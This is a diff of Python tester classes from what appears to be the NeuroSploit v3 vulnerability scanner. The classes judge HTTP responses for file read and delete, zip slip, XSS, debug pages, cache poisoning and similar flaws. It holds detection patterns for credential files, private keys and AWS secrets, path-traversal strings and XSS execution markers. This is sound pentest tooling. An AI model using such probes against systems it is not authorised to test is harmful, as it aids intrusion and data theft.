".swp", ".swo", ".tmp", ".temp", ".copy",
|
||||
"~", ".sql", ".tar.gz", ".zip", ".dump",
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for backup file content in response"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check file signatures
|
||||
for pattern, description in self.file_signatures:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Backup file exposure: {description} detected"
|
||||
|
||||
# Check if backup extension in request returned content
|
||||
for ext in self.backup_extensions:
|
||||
if ext in payload and response_status == 200 and len(response_body) > 100:
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
content_type = headers_lower.get("content-type", "").lower()
|
||||
# Non-HTML responses to backup file requests are suspicious
|
||||
if "text/html" not in content_type:
|
||||
return True, 0.75, f"Backup file exposure: {ext} file served ({content_type})"
|
||||
# HTML response but contains code-like content
|
||||
if re.search(r"(?:function |class |import |require\(|define\()", response_body):
|
||||
return True, 0.7, f"Backup file exposure: {ext} file contains source code"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class VersionDisclosureTester(BaseTester):
|
||||
"""Tester for Version Disclosure mapping to known CVEs"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "version_disclosure"
|
||||
# Software versions with known critical CVEs
|
||||
self.vulnerable_versions = {
|
||||
r"Apache/2\.4\.49\b": "CVE-2021-41773 (path traversal)",
|
||||
r"Apache/2\.4\.50\b": "CVE-2021-42013 (path traversal bypass)",
|
||||
r"nginx/1\.(?:[0-9]|1[0-7])\.\d+": "Potential nginx < 1.18 vulnerabilities",
|
||||
r"PHP/(?:5\.\d|7\.[0-3])\.\d+": "Outdated PHP version with known CVEs",
|
||||
r"OpenSSL/1\.0\.\d": "OpenSSL 1.0.x - multiple known CVEs",
|
||||
r"jQuery/(?:1\.\d|2\.\d|3\.[0-4])\.\d+": "jQuery < 3.5 - XSS via htmlPrefilter",
|
||||
r"WordPress/(?:[1-4]\.\d|5\.[0-7])": "Outdated WordPress version",
|
||||
r"Drupal/(?:[1-7]\.\d|8\.[0-5])": "Outdated Drupal version",
|
||||
r"Rails/(?:[1-4]\.\d|5\.[01])": "Outdated Rails version",
|
||||
r"Spring Framework/(?:[1-4]\.\d|5\.[0-2])": "Outdated Spring version",
|
||||
r"Express/(?:[1-3]\.\d|4\.(?:1[0-6]))": "Outdated Express.js version",
|
||||
r"Django/(?:1\.\d|2\.[01]|3\.0)": "Outdated Django version",
|
||||
r"Log4j.(?:2\.(?:0|1[0-4])\.\d)": "CVE-2021-44228 (Log4Shell)",
|
||||
r"Tomcat/(?:[1-8]\.\d|9\.[0-3]\d\.\d)": "Potentially outdated Tomcat",
|
||||
r"IIS/(?:[1-9]\.0|10\.0)": "IIS version disclosure",
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for version strings mapping to known CVEs"""
|
||||
# Combine headers and body for scanning
|
||||
headers_str = "\n".join(f"{k}: {v}" for k, v in response_headers.items())
|
||||
full_text = headers_str + "\n" + response_body
|
||||
|
||||
findings = []
|
||||
|
||||
for pattern, cve_info in self.vulnerable_versions.items():
|
||||
match = re.search(pattern, full_text, re.IGNORECASE)
|
||||
if match:
|
||||
version_str = match.group(0)
|
||||
findings.append(f"{version_str} - {cve_info}")
|
||||
|
||||
if findings:
|
||||
# Known CVEs are high confidence
|
||||
has_cve = any("CVE-" in f for f in findings)
|
||||
confidence = 0.9 if has_cve else 0.7
|
||||
return True, confidence, f"Version disclosure: {'; '.join(findings[:3])}"
|
||||
|
||||
# Generic version disclosure in Server header
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
server = headers_lower.get("server", "")
|
||||
if re.search(r"/\d+\.\d+", server):
|
||||
return True, 0.5, f"Version disclosure in Server header: {server}"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -201,3 +201,156 @@ class FileUploadTester(BaseTester):
|
||||
return True, 0.8, "Executable file path returned - possible RCE"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ArbitraryFileReadTester(BaseTester):
|
||||
"""Tester for Arbitrary File Read vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "arbitrary_file_read"
|
||||
self.sensitive_file_patterns = {
|
||||
# /etc/passwd format
|
||||
r"root:.*:0:0:": "/etc/passwd",
|
||||
r"daemon:.*:\d+:\d+:": "/etc/passwd",
|
||||
r"nobody:.*:\d+:\d+:": "/etc/passwd",
|
||||
# .env file patterns
|
||||
r"(?:DB_PASSWORD|DATABASE_URL|SECRET_KEY|API_KEY|APP_SECRET)\s*=": ".env file",
|
||||
r"(?:AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY)\s*=": ".env file (AWS credentials)",
|
||||
# SSH key headers
|
||||
r"-----BEGIN (?:RSA |DSA |EC |OPENSSH )?PRIVATE KEY-----": "SSH/TLS private key",
|
||||
r"-----BEGIN CERTIFICATE-----": "TLS certificate",
|
||||
# Shadow file
|
||||
r"root:\$[0-9a-z]+\$": "/etc/shadow",
|
||||
# Config files
|
||||
r"<\?php.*\$db": "PHP config with DB credentials",
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for sensitive file contents in response"""
|
||||
for pattern, file_desc in self.sensitive_file_patterns.items():
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.95, f"Arbitrary file read confirmed: {file_desc} content detected"
|
||||
|
||||
# Check for base64-encoded sensitive content
|
||||
base64_pattern = re.findall(r'[A-Za-z0-9+/]{40,}={0,2}', response_body)
|
||||
for b64_match in base64_pattern[:5]: # Check first 5 matches
|
||||
try:
|
||||
import base64
|
||||
decoded = base64.b64decode(b64_match).decode('utf-8', errors='ignore')
|
||||
if re.search(r"root:.*:0:0:", decoded) or re.search(r"-----BEGIN.*PRIVATE KEY-----", decoded):
|
||||
return True, 0.9, "Arbitrary file read: Base64-encoded sensitive file content"
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ArbitraryFileDeleteTester(BaseTester):
|
||||
"""Tester for Arbitrary File Delete vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "arbitrary_file_delete"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for successful file deletion indicators"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check for explicit deletion success messages
|
||||
delete_success_patterns = [
|
||||
r"file\s+(?:has been\s+)?(?:deleted|removed)\s+successfully",
|
||||
r"(?:deleted|removed)\s+successfully",
|
||||
r'"success"\s*:\s*true.*(?:delet|remov)',
|
||||
r'"status"\s*:\s*"(?:deleted|removed)"',
|
||||
r'"message"\s*:\s*".*(?:deleted|removed).*"',
|
||||
]
|
||||
for pattern in delete_success_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.85, "Arbitrary file delete: Deletion success confirmed in response"
|
||||
|
||||
# Check for 200/204 on DELETE request with traversal path
|
||||
traversal_indicators = ["../", "..\\", "%2e%2e", "..%2f", "..%5c"]
|
||||
has_traversal = any(t in payload.lower() for t in traversal_indicators)
|
||||
|
||||
if has_traversal:
|
||||
if response_status == 204:
|
||||
return True, 0.8, "Arbitrary file delete: 204 No Content after path traversal delete"
|
||||
if response_status == 200:
|
||||
return True, 0.7, "Arbitrary file delete: 200 OK after path traversal delete request"
|
||||
|
||||
# Check for file-not-found on subsequent access (context-based)
|
||||
if context.get("follow_up_status") == 404:
|
||||
return True, 0.85, "Arbitrary file delete: File not found after deletion request"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ZipSlipTester(BaseTester):
|
||||
"""Tester for Zip Slip (path traversal in archive extraction)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "zip_slip"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for path traversal in archive extraction"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check for traversal path acceptance in response
|
||||
traversal_patterns = [
|
||||
r"\.\./\.\./\.\./",
|
||||
r"\.\.\\\.\.\\\.\.\\",
|
||||
r"%2e%2e%2f",
|
||||
r"%2e%2e/",
|
||||
]
|
||||
for pattern in traversal_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
# Traversal path echoed in response
|
||||
if response_status in [200, 201]:
|
||||
return True, 0.8, "Zip Slip: Path traversal sequence accepted in archive extraction"
|
||||
|
||||
# Check for successful extraction with traversal payload
|
||||
if response_status in [200, 201]:
|
||||
extraction_success = [
|
||||
r"extract(?:ed|ion)\s+(?:successful|complete)",
|
||||
r"(?:file|archive)\s+(?:uploaded|processed)\s+successfully",
|
||||
r'"extracted"\s*:\s*true',
|
||||
r'"files"\s*:\s*\[.*\.\./.*\]',
|
||||
]
|
||||
for pattern in extraction_success:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
if any(t in payload for t in ["../", "..\\", "%2e%2e"]):
|
||||
return True, 0.85, "Zip Slip: Archive with traversal paths extracted successfully"
|
||||
|
||||
# Check for file written outside expected directory
|
||||
overwrite_indicators = [
|
||||
r"(?:overwr(?:ote|itten)|replaced)\s+.*(?:/etc/|/var/|/tmp/|C:\\)",
|
||||
r"(?:created|wrote)\s+.*\.\./",
|
||||
]
|
||||
for pattern in overwrite_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, "Zip Slip: File written outside extraction directory"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
@@ -150,3 +150,360 @@ class HTTPMethodsTester(BaseTester):
|
||||
return True, 0.6, f"{payload} method accepted"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class DirectoryListingTester(BaseTester):
|
||||
"""Tester for Directory Listing exposure"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "directory_listing"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for directory listing patterns"""
|
||||
if response_status == 200:
|
||||
listing_patterns = [
|
||||
r"<title>Index of\s*/",
|
||||
r"Index of\s*/",
|
||||
r"<h1>Index of",
|
||||
r"Directory listing for\s*/",
|
||||
r"<title>Directory listing",
|
||||
r'<a\s+href="\.\./">\.\./</a>',
|
||||
r"Parent Directory</a>",
|
||||
r'\[DIR\]',
|
||||
r'\[TXT\]',
|
||||
r"<pre>.*<a href=",
|
||||
]
|
||||
|
||||
for pattern in listing_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, "Directory listing: Server directory contents exposed"
|
||||
|
||||
# Check for Apache/Nginx-specific listing
|
||||
if re.search(r'<address>Apache/[\d.]+ .* Server at', response_body, re.IGNORECASE):
|
||||
if "Index of" in response_body:
|
||||
return True, 0.95, "Directory listing: Apache directory listing enabled"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class DebugModeTester(BaseTester):
|
||||
"""Tester for Debug Mode/Page exposure"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "debug_mode"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for debug pages, stack traces with source paths"""
|
||||
# Werkzeug/Flask debugger
|
||||
werkzeug_patterns = [
|
||||
r"Werkzeug\s+Debugger",
|
||||
r"werkzeug\.debug",
|
||||
r"<div class=\"debugger\">",
|
||||
r"The debugger caught an exception",
|
||||
r"__debugger__",
|
||||
]
|
||||
for pattern in werkzeug_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.95, "Debug mode: Werkzeug interactive debugger exposed (RCE risk)"
|
||||
|
||||
# Laravel debug
|
||||
laravel_patterns = [
|
||||
r"Whoops!.*Laravel",
|
||||
r"Ignition\s",
|
||||
r"vendor/laravel",
|
||||
r"Laravel.*Exception",
|
||||
r"app/Http/Controllers",
|
||||
]
|
||||
for pattern in laravel_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, "Debug mode: Laravel debug page exposed"
|
||||
|
||||
# Django debug
|
||||
django_patterns = [
|
||||
r"You\'re seeing this error because you have <code>DEBUG = True</code>",
|
||||
r"Django Version:",
|
||||
r"Traceback.*django",
|
||||
r"INSTALLED_APPS",
|
||||
r"settings\.py",
|
||||
]
|
||||
for pattern in django_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, "Debug mode: Django debug page exposed"
|
||||
|
||||
# Generic stack traces with source paths
|
||||
stack_trace_patterns = [
|
||||
r"(?:File|at)\s+[\"']?(?:/[a-z]+/|C:\\)[^\s\"']+\.(?:py|php|rb|js|java|go)\b",
|
||||
r"Traceback \(most recent call last\)",
|
||||
r"Stack trace:.*(?:\.php|\.py|\.rb|\.java)",
|
||||
r"(?:Error|Exception)\s+in\s+(?:/[a-z]+/|C:\\)[^\s]+:\d+",
|
||||
]
|
||||
for pattern in stack_trace_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
|
||||
return True, 0.8, "Debug mode: Stack trace with source file paths exposed"
|
||||
|
||||
# ASP.NET detailed errors
|
||||
if re.search(r"Server Error in '/' Application", response_body):
|
||||
return True, 0.85, "Debug mode: ASP.NET detailed error page exposed"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ExposedAdminPanelTester(BaseTester):
|
||||
"""Tester for Publicly Accessible Admin Panel"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "exposed_admin_panel"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for admin login pages accessible publicly"""
|
||||
if response_status == 200:
|
||||
admin_panel_patterns = [
|
||||
(r"(?:admin|administrator)\s+(?:login|panel|dashboard|console)", "admin login page"),
|
||||
(r"<title>[^<]*(?:admin|dashboard|control\s*panel|cms)[^<]*</title>", "admin title"),
|
||||
(r"wp-login\.php", "WordPress login"),
|
||||
(r"wp-admin", "WordPress admin"),
|
||||
(r"/admin/login", "admin login endpoint"),
|
||||
(r"phpmyadmin", "phpMyAdmin"),
|
||||
(r"adminer\.php", "Adminer"),
|
||||
(r"cPanel", "cPanel"),
|
||||
(r"Webmin", "Webmin"),
|
||||
(r"Plesk", "Plesk"),
|
||||
(r"joomla.*administrator", "Joomla admin"),
|
||||
(r"drupal.*user/login", "Drupal admin login"),
|
||||
]
|
||||
|
||||
for pattern, panel_name in admin_panel_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.75, f"Exposed admin panel: {panel_name} accessible publicly"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ExposedApiDocsTester(BaseTester):
|
||||
"""Tester for Publicly Accessible API Documentation"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "exposed_api_docs"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for Swagger/OpenAPI documentation pages"""
|
||||
if response_status == 200:
|
||||
api_docs_patterns = [
|
||||
(r"swagger-ui", "Swagger UI"),
|
||||
(r'"swagger"\s*:\s*"[0-9.]+"', "Swagger spec"),
|
||||
(r'"openapi"\s*:\s*"[0-9.]+"', "OpenAPI spec"),
|
||||
(r"swagger-ui-bundle\.js", "Swagger UI bundle"),
|
||||
(r"<title>Swagger UI</title>", "Swagger UI page"),
|
||||
(r"redoc", "ReDoc API docs"),
|
||||
(r"api-docs", "API documentation"),
|
||||
(r"graphiql", "GraphiQL interface"),
|
||||
(r"GraphQL Playground", "GraphQL Playground"),
|
||||
(r'"paths"\s*:\s*\{', "OpenAPI paths object"),
|
||||
(r'"info"\s*:\s*\{.*"title"\s*:', "OpenAPI info object"),
|
||||
]
|
||||
|
||||
for pattern, doc_type in api_docs_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, f"Exposed API docs: {doc_type} publicly accessible"
|
||||
|
||||
# Check content type for JSON API specs
|
||||
content_type = response_headers.get("Content-Type", "")
|
||||
if "json" in content_type.lower():
|
||||
if re.search(r'"paths"\s*:\s*\{.*"(?:get|post|put|delete)"', response_body, re.DOTALL):
|
||||
return True, 0.85, "Exposed API docs: OpenAPI/Swagger JSON specification exposed"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class InsecureCookieFlagsTester(BaseTester):
|
||||
"""Tester for Missing Secure/HttpOnly/SameSite Cookie Flags"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "insecure_cookie_flags"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check Set-Cookie headers for missing security flags"""
|
||||
# Collect all Set-Cookie headers
|
||||
set_cookie_values = []
|
||||
for key, value in response_headers.items():
|
||||
if key.lower() == "set-cookie":
|
||||
if isinstance(value, list):
|
||||
set_cookie_values.extend(value)
|
||||
else:
|
||||
set_cookie_values.append(value)
|
||||
|
||||
if not set_cookie_values:
|
||||
return False, 0.0, None
|
||||
|
||||
issues = []
|
||||
for cookie in set_cookie_values:
|
||||
cookie_lower = cookie.lower()
|
||||
cookie_name = cookie.split("=")[0].strip()
|
||||
|
||||
# Session cookies are more critical
|
||||
is_session = any(
|
||||
s in cookie_name.lower()
|
||||
for s in ["session", "sess", "sid", "token", "auth", "jwt", "csrf"]
|
||||
)
|
||||
|
||||
missing_flags = []
|
||||
if "secure" not in cookie_lower:
|
||||
missing_flags.append("Secure")
|
||||
if "httponly" not in cookie_lower:
|
||||
missing_flags.append("HttpOnly")
|
||||
if "samesite" not in cookie_lower:
|
||||
missing_flags.append("SameSite")
|
||||
|
||||
if missing_flags:
|
||||
severity = "session cookie" if is_session else "cookie"
|
||||
issues.append(f"{cookie_name} ({severity}): missing {', '.join(missing_flags)}")
|
||||
|
||||
if issues:
|
||||
confidence = 0.8 if any("session cookie" in i for i in issues) else 0.6
|
||||
return True, confidence, f"Insecure cookie flags: {'; '.join(issues[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HttpSmugglingTester(BaseTester):
|
||||
"""Tester for HTTP Request Smuggling (CL/TE discrepancy)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "http_smuggling"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for CL/TE discrepancy indicators"""
|
||||
# Check for request smuggling indicators
|
||||
smuggling_indicators = [
|
||||
# Different response than expected
|
||||
(r"400 Bad Request.*(?:Content-Length|Transfer-Encoding)", "CL/TE parsing error"),
|
||||
(r"(?:invalid|malformed)\s+(?:chunk|transfer.encoding)", "chunked encoding error"),
|
||||
]
|
||||
for pattern, desc in smuggling_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
|
||||
return True, 0.7, f"HTTP smuggling indicator: {desc}"
|
||||
|
||||
# Check for dual Transfer-Encoding handling
|
||||
te_header = response_headers.get("Transfer-Encoding", "")
|
||||
cl_header = response_headers.get("Content-Length", "")
|
||||
|
||||
if te_header and cl_header:
|
||||
return True, 0.75, "HTTP smuggling: Both Transfer-Encoding and Content-Length in response"
|
||||
|
||||
# Check for timeout-based detection (context)
|
||||
if context.get("response_time_ms", 0) > 10000:
|
||||
if "transfer-encoding" in payload.lower() or "content-length" in payload.lower():
|
||||
return True, 0.6, "HTTP smuggling: Abnormal response delay with CL/TE payload"
|
||||
|
||||
# Check for response desync indicators
|
||||
if response_status == 0 or context.get("connection_reset"):
|
||||
return True, 0.65, "HTTP smuggling: Connection reset/timeout with smuggling payload"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CachePoisoningTester(BaseTester):
|
||||
"""Tester for Web Cache Poisoning"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "cache_poisoning"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for cached response with injected unkeyed input"""
|
||||
if response_status == 200:
|
||||
# Check for cache headers indicating response was cached
|
||||
cache_indicators = {
|
||||
"X-Cache": response_headers.get("X-Cache", ""),
|
||||
"CF-Cache-Status": response_headers.get("CF-Cache-Status", ""),
|
||||
"Age": response_headers.get("Age", ""),
|
||||
"X-Varnish": response_headers.get("X-Varnish", ""),
|
||||
}
|
||||
|
||||
is_cached = False
|
||||
for header, value in cache_indicators.items():
|
||||
if value:
|
||||
if any(hit in value.upper() for hit in ["HIT", "STALE"]):
|
||||
is_cached = True
|
||||
break
|
||||
if header == "Age" and int(value or 0) > 0:
|
||||
is_cached = True
|
||||
break
|
||||
|
||||
# Check if our unkeyed input is reflected in the cached response
|
||||
if is_cached or response_headers.get("Cache-Control", ""):
|
||||
# Common unkeyed headers that might be reflected
|
||||
unkeyed_indicators = [
|
||||
r"X-Forwarded-Host", r"X-Forwarded-Scheme",
|
||||
r"X-Original-URL", r"X-Rewrite-URL",
|
||||
]
|
||||
|
||||
if payload in response_body:
|
||||
if is_cached:
|
||||
return True, 0.9, "Cache poisoning: Injected unkeyed input reflected in cached response"
|
||||
else:
|
||||
return True, 0.7, "Cache poisoning: Unkeyed input reflected - verify caching"
|
||||
|
||||
# Check for Vary header missing expected values
|
||||
vary = response_headers.get("Vary", "")
|
||||
cache_control = response_headers.get("Cache-Control", "")
|
||||
if "no-store" not in cache_control and "private" not in cache_control:
|
||||
if payload in response_body:
|
||||
return True, 0.6, "Cache poisoning potential: Input reflected in cacheable response"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
@@ -35,20 +35,15 @@ class XSSReflectedTester(BaseTester):
|
||||
|
||||
# Check if payload is reflected
|
||||
if payload in response_body:
|
||||
# Check if it's in a dangerous context
|
||||
dangerous_patterns = [
|
||||
rf'<script[^>]*>{re.escape(payload)}',
|
||||
rf'on\w+\s*=\s*["\']?{re.escape(payload)}',
|
||||
rf'javascript:\s*{re.escape(payload)}',
|
||||
rf'<[^>]+{re.escape(payload)}[^>]*>',
|
||||
]
|
||||
|
||||
for pattern in dangerous_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"XSS payload reflected in dangerous context: {pattern}"
|
||||
|
||||
# Payload reflected but possibly encoded
|
||||
return True, 0.7, "XSS payload reflected in response"
|
||||
# Use context-aware analysis to determine execution position
|
||||
from backend.core.xss_context_analyzer import analyze_xss_execution_context
|
||||
ctx = analyze_xss_execution_context(response_body, payload)
|
||||
if ctx["executable"]:
|
||||
return True, 0.95, f"XSS payload in auto-executing context: {ctx['detail']}"
|
||||
elif ctx["interactive"]:
|
||||
return True, 0.85, f"XSS payload in interactive context: {ctx['detail']}"
|
||||
# Reflected but not in executable position
|
||||
return True, 0.5, f"XSS payload reflected but {ctx['context']}: {ctx['detail']}"
|
||||
|
||||
# Check for partial reflection (script tags, etc.)
|
||||
for marker in self.markers:
|
||||
@@ -59,11 +54,21 @@ class XSSReflectedTester(BaseTester):
|
||||
|
||||
|
||||
class XSSStoredTester(BaseTester):
|
||||
"""Tester for Stored XSS vulnerabilities"""
|
||||
"""Tester for Stored XSS vulnerabilities.
|
||||
|
||||
Supports two-phase verification:
|
||||
Phase 1: analyze_response() - Check if submission succeeded (data stored)
|
||||
Phase 2: analyze_display_response() - Check if payload executes on display page
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "xss_stored"
|
||||
self.storage_indicators = [
|
||||
"success", "created", "saved", "posted", "submitted",
|
||||
"thank", "comment", "added", "published", "updated",
|
||||
"your comment", "your post", "your message",
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
@@ -73,12 +78,78 @@ class XSSStoredTester(BaseTester):
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for stored XSS - requires subsequent request verification"""
|
||||
# For stored XSS, we need to check if data was stored
|
||||
# This is a simplified check - full implementation would verify on retrieval
|
||||
if response_status in [200, 201, 302]:
|
||||
if "success" in response_body.lower() or "created" in response_body.lower():
|
||||
return True, 0.5, "Data possibly stored - verify retrieval for stored XSS"
|
||||
"""Phase 1: Check if payload was likely stored.
|
||||
|
||||
Returns confidence 0.3-0.5 for storage-only confirmation.
|
||||
Full confirmation requires Phase 2 (analyze_display_response).
|
||||
"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Redirect after POST is a common form submission pattern
|
||||
if response_status in [301, 302, 303]:
|
||||
return True, 0.4, "Redirect after submission - payload likely stored"
|
||||
|
||||
if response_status in [200, 201]:
|
||||
# Check for storage success indicators
|
||||
for indicator in self.storage_indicators:
|
||||
if indicator in body_lower:
|
||||
return True, 0.4, f"Storage indicator found: '{indicator}'"
|
||||
|
||||
# Check if payload is reflected in the same response (immediate display)
|
||||
if payload in response_body:
|
||||
dangerous = [
|
||||
"<script", "onerror=", "onload=", "onclick=", "onfocus=",
|
||||
"onmouseover=", "<svg", "<img", "<iframe", "javascript:"
|
||||
]
|
||||
payload_lower = payload.lower()
|
||||
for ctx in dangerous:
|
||||
if ctx in payload_lower:
|
||||
return True, 0.8, f"Stored XSS: payload reflected in dangerous context ({ctx})"
|
||||
return True, 0.6, "Payload reflected in submission response"
|
||||
|
||||
# POST returning 200 often means submission accepted
|
||||
if response_status == 200 and context.get("method") == "POST":
|
||||
return True, 0.3, "POST returned 200 - submission possibly accepted"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
def analyze_display_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Phase 2: Verify payload executes on the display page.
|
||||
|
||||
Called after navigating to the page where stored content is rendered.
|
||||
"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check if payload exists unescaped in display page
|
||||
if payload in response_body:
|
||||
# Use context-aware analysis to determine execution position
|
||||
from backend.core.xss_context_analyzer import analyze_xss_execution_context
|
||||
ctx = analyze_xss_execution_context(response_body, payload)
|
||||
if ctx["executable"]:
|
||||
return True, 0.95, f"Stored XSS confirmed: {ctx['detail']}"
|
||||
elif ctx["interactive"]:
|
||||
return True, 0.90, f"Stored XSS (interaction required): {ctx['detail']}"
|
||||
# Payload present but not executable
|
||||
return True, 0.5, f"Stored payload on display page but {ctx['context']}: {ctx['detail']}"
|
||||
|
||||
# Check for core execution markers even if full payload is modified
|
||||
core_markers = [
|
||||
"alert(1)", "alert(document.domain)", "onerror=alert",
|
||||
"onload=alert", "onfocus=alert", "ontoggle=alert",
|
||||
]
|
||||
body_lower = response_body.lower()
|
||||
for marker in core_markers:
|
||||
if marker in payload.lower() and marker in body_lower:
|
||||
return True, 0.85, f"Stored XSS: execution marker '{marker}' found on display page"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,457 @@
|
||||
"""
|
||||
NeuroSploit v3 - Logic and Protocol Vulnerability Testers
|
||||
|
||||
Testers for race conditions, business logic, rate limiting, parameter pollution,
|
||||
type juggling, timing attacks, host header injection, HTTP smuggling, cache poisoning.
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class RaceConditionTester(BaseTester):
|
||||
"""Tester for Race Condition vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "race_condition"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
